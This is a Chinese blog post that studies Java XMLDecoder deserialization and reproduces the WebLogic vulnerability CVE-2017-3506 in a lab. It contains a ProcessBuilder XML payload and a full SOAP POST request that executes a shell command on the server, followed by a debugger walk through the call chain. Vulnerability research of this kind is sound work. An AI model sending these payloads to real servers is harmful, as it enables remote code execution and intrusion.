XMLDecoder反序列化学习

XMLDecoder

简介

java.beans.XMLDecoder 是jdk自带的类,主要功能是实现java对象和xml文件之间的转化:

  • 序列化:将java对象转换成xml文件
  • 反序列化:把特定格式的xml文件转换成java对象。

Person类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class Person {
String name = "";
int age;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public void sayHello(){
System.out.println("Hello, my name is "+name);
}
}

运行后在本地生成person.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.io.*;

public class XMLDecoderTest{
// 序列化对象到文件person.xml
public void xmlEncode() throws FileNotFoundException {
Person person = new Person();
person.setAge(18);
person.setName("test");
XMLEncoder xmlEncoder = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("person.xml")));
xmlEncoder.writeObject(person);
xmlEncoder.close();
System.out.println("序列化结束!");
}

// 反序列化
public void xmlDecode() throws FileNotFoundException {
XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("person.xml")));
Person person = (Person)xmlDecoder.readObject();
xmlDecoder.close();
person.sayHello();
System.out.println("反序列化成功!");
}

public static void main(String[] args) throws FileNotFoundException {
XMLDecoderTest xmlTest = new XMLDecoderTest();
xmlTest.xmlEncode();
xmlTest.xmlDecode();
}
}

person.xml文件内容

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_301" class="java.beans.XMLDecoder">
<object class="Person">
<void property="age">
<int>18</int>
</void>
<void property="name">
<string>test</string>
</void>
</object>
</java>

利用

payload.xml

1
2
3
4
5
6
7
8
9
10
11
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc.exe</string>
</void>
</array>
<void method="start">
</void>
</object>
</java>

反序列化payload.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;

public class Test {
public static void main(String[] args) throws Exception {
File file=new File("payload.xml");
FileInputStream fileInputStream=new FileInputStream(file);
BufferedInputStream bufferedInputStream=new BufferedInputStream(fileInputStream);
XMLDecoder xmlDecoder=new XMLDecoder(bufferedInputStream);
xmlDecoder.readObject();
xmlDecoder.close();
}
}

执行成功

4oOC8S.png

CVE-2017-3506

环境搭建

参考之前的文章:https://sp4zcmd.github.io/2021/07/24/Weblogic%E5%AD%A6%E4%B9%A0%EF%BC%9AT3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

漏洞概要

影响范围

  • WebLogic 10.3.6.0
  • WebLogic 12.1.3.0
  • WebLogic 12.2.1.0
  • WebLogic 12.2.1.1
  • WebLogic 12.2.1.2

漏洞复现

用创建文件的方式验证

POST数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.248.128:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Content-Length: 605
Origin: http://192.168.248.128:7001
Connection: close
Referer: http://192.168.248.128:7001/wls-wsat/CoordinatorPortType
Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>touch /tmp/CVE-2017-3506</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

发送payload

4oOS4f.png

创建成功

1
docker exec weblogic1036jdk7u21 ls /tmp

4oLxEt.png

漏洞分析

先在ProcessBuilder.start处打一个断点

4oLzUP.png

查看调用栈

4oLjHI.png

1.

/server/lib/weblogic.jar/weblogic/wsee/jaxws/workcontext/WorkContextServerTube.class#processRequest

传入的xml数据在processRequest进行处理,var1就是我们传入的xml数据。var2和var3会获取并判断payload中的xml头,也就是

1
2
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

然后进入readHeaderOld

4oOADs.png

2.

/server/lib/weblogic.jar/weblogic/wsee/jaxws/workcontext/WorkContextTube.class#readHeaderOld

包含payload的参数var4被传入WorkContextXmlInputAdapter的构造函数,然后作为参数传入新的XMLDecoder示例实例。然后WorkContextXmlInputAdapter实例也就是var6被传入receive

4oOEbn.png

3.

/server/lib/weblogic.jar/weblogic/wsee/jaxws/workcontext/WorkContextServerTube.class#receive

继续进入receiveRequest

4oO9C8.png

4.

server/lib/wlclient.jar/weblogic/workarea/WorkContextLocalMap#receiveRequest

进入readEntry

4oOPgg.png

5.

server/lib/wlclient.jar/weblogic/workarea/spi/WorkContextEntryImpl#readEntry

调用readUTF

4oOkuj.png

6.

/server/lib/weblogic.jar/weblogic/wsee/workarea/WorkContextXmlInputAdapter#readUTF

触发readObject

4oOivQ.png

参考

https://hu3sky.github.io/2019/10/16/weblogic/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

https://xz.aliyun.com/t/8465#toc-8

https://www.kingkk.com/2019/05/Weblogic-XMLDecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!